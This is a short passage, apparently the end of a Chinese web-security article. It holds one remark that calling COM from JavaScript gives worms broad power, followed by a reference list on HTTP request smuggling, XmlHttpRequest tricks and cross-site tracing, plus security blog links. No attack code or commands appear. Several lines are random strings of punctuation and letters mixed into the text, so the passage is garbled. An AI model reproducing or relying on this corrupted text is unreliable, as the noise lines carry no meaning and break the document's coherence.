操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


' b- e8 [' l: _

: M, [" P; ?3 Z2 C+ A
. V/ T1 l4 _6 d, b


' X$ h2 j/ L, F; y) J& n本文引用文档资料:
6 b% F7 x# Y! g4 [! K' _6 g
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
" F3 {' ], T/ s. R1 Y5 B"Cross Site Tracing" (Jeremiah Grossman, January 2003)
4 A% T- I1 z% ~4 S" o0 ]. v+ \http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
& m- k3 L& v& e) }空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
& X. }/ D* b2 E; G5 t8 s  k: s- F